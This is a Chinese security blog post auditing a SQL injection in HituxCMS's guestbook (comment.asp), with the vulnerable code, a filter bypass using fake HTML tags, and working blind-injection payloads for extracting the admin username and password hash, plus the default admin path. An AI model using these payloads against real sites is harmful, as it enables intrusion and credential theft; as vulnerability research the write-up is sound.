HituxCMS留言板注入分析

前言

这 cms 功能点比较简单 , 因为他前台正在与数据库交互的页面只有三个文件 , 其他所有模块全部是后台生成纯静态页面供用户浏览 . 此cms是 asp + access 编写 后台权限验证没有问题 . 采用session验证 没有可以越权操作的点 .

0x01

直接进入正题. 存在漏洞的文件 /inc/comment.asp 对应的前台文件 -> feedback/index.html . 此处为留言板功能模块 很遗憾这里存在一个过滤文件 过滤了post和get的敏感数据 .

1.jpg

这段代码对于get请求过滤了比较多的关键字 . 相反post 没有过滤多少 单引号 并没有过滤掉

下面是 comment.asp 代码

<%'判断
if request("act")="add" then

article_id=request("id")
name1=trim(request.form("name"))
email1=trim(request.form("email"))
qq1=trim(request.form("qq"))
comment=trim(request.form("content"))
input_code=trim(request.form("verycode"))
url1=trim(request.form("homepage"))
image1=trim(request.form("img"))

if comment="" then
response.Write "<script language='javascript'>alert('请输入您的评论内容!');history.go(-1)</script>"
else

    if request("verycode")="" then
    response.write "<script language=javascript>alert('您输入的验证码有误^_^');history.go(-1);</script>"
      Response.End 
    elseif session("getcode")="9999" then
    session("getcode")=""
    elseif session("getcode")="" then
    response.write "<script language=javascript>alert('您输入的验证码有误^_^');history.go(-1);</script>"
     Response.End 
    elseif cstr(session("getcode"))<>cstr(trim(request("verycode"))) then
    response.write "<script language=javascript>alert('您输入的验证码有误^_^');history.go(-1);</script>"
    Response.End 
    end if

' 发布评论
set rs=server.createobject("adodb.recordset")
sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"
rs.open(sql),cn,1,3
if not rs.eof then  
response.Write "<script language='javascript'>alert('请不要重复发布!');history.go(-1)</script>"
else
rs.addnew
if article_id<>"" then
rs("article_id")=article_id
end if

rs("name")=nohtml(name1)
rs("email")=nohtml(email1)
rs("qq")=nohtml(qq1)
rs("url")=nohtml(url1)
'rs("image")=image1
rs("content")=nohtml(comment)
rs("ip")=Request.serverVariables("REMOTE_ADDR")
rs("time")=now()
rs("view_yes")=0
rs.update
rs.close
set rs=nothing



'call Post_index_to_html()
'问吧模板文件夹获取
set rs_1=server.createobject("adodb.recordset")
sql="select FolderName from web_Models_type where [id]=8"
rs_1.open(sql),cn,1,1
if not rs_1.eof then
if rs_1("FolderName")<>"" then
Post_FolderName="/"&rs_1("FolderName")
end if
end if
rs_1.close
set rs_1=nothing
            response.write"<SCRIPT language=JavaScript>alert('您的留言已经发表成功,稍后将显示^_^');"
  response.write"location.href='"&Post_FolderName&"/';</SCRIPT>"
end if


end if
end if
%>

关键代码在

sql="select * from web_article_comment where [content]='"&nohtml(comment)&"'"

这里comment变量是 comment=trim(request.form("content")) post传递值 . 并且这里并没有其他过滤操作.只是简单的去了一下空格 跟进 nohtml 函数

Function NoHtml(str) 
    Set re=new RegExp 
    re.IgnoreCase =true 
    re.Global=True 
    str = replace(str,"<br>","{br}") 
    str = replace(str,"<p>","{p}") 
    str = replace(str,"</p>","{/p}") 
    str = replace(str,"<b>","{b}") 
    str = replace(str,"</b>","{/b}") 
    str = replace(str,"<strong>","{strong}") 
    str = replace(str,"</strong>","{/strong}")     
    re.Pattern="(\<.[^\<]*\>)" 
    str=re.replace(str,"") 
    re.Pattern="(\<\/[^\<]*\>)" 
    str=re.replace(str,"")
    re.Pattern="/(^[\\s]*)/g"
    str=re.replace(str,"")
    str = replace(str,"{br}","<br>")
    str = replace(str,"{p}","<p>")
    str = replace(str,"{/p}","</p>")
    str = replace(str,"{b}","<b>")
    str = replace(str,"{/b}","</b>")
    str = replace(str,"{strong}","<strong>")
    str = replace(str,"{/strong}","</strong>")        
    NoHtml=str 
    Set re=Nothing 
End Function 

这个函数作用就是去掉字符串中的html标记 保留一些特定的标签 .

跟进下面的代码发现 他是判断你留言的内容 是否 和数据库里面重复 如果数据库里面存着你留言的内容 , 就提示你留言重复 . 如果不存在则留言成功 这里存在一个坑 , 就是如果你用 or 语句去判断的话 那你闭合前的内容必须不存在于数据库里面 , 不然 都会返回 假 . 导致无法判断 由于之前的过滤文件 过滤了 = 所以这里判断的时候咱们使用 大于号或者小于号来判断

1' or '1'<'2 返回 留言成功 逻辑为: 真 真 | 真

1'or '1'>'2 返回 留言重复 逻辑为: 真 假 | 假

这样咱们就可以通过其他语句来猜解账号密码了.

默认的 表为 web_admin 字段为 username 和 password

1'+a<h~tml>nd+(sele<h~tml>ct+top+1+len(username)+from+web_admin)+<+6+or+'1'<'1

我本地搭建环境的username为admin 5位 判断小于 6 返回 留言重复 小于5 返回 留言成功 . 就可以确定长度5位

解释一下为什么在 and 和 select 中间添加 <h~tml> 因为 nohtml 这个函数刚好会把html标签给替换为空 利用这个办法,刚好绕过了前面他的post过滤关键字 . 这里还有一个坑忘记提了. 就是 如果你前面用 <h~tml> 来替换了.后面判断的时候只能用 < 小于号 无法使用 > 大于号 因为他 nohtml 函数会匹配到最后一个 > , 这样语句就会被截断,导致无法注入 ( 这个点坑了我一个小时 ) 下面这是猜密码的payload

1'+a<h~tml>nd+(sel<h~tml>ect+asc(mid(password,1,1))+from+web_admin)+<+56+or+'1'<'1

密码长度为固定的16位md5加密. 后台默认adminbeat 实战中可能会更改 . 后台的话有数据库备份的功能 . 我也就没有继续往下审计了 .

结尾

后面发现此注入点网上已经有前辈发过了 . 审计过程比我详细太多 . 惭愧~~~

本文链接:

http://hentai6.cn/index.php/archives/5/
1 + 5 =
2 评论
    飞猪Chrome 76Windows 10
    2019年09月22日 回复

    学习了

    MG1937Firefox Browser 74Windows 7
    一天前 回复

    我记得这个过滤模块是不检查cookie的,实际上直接在cookie中带参数就行了,,,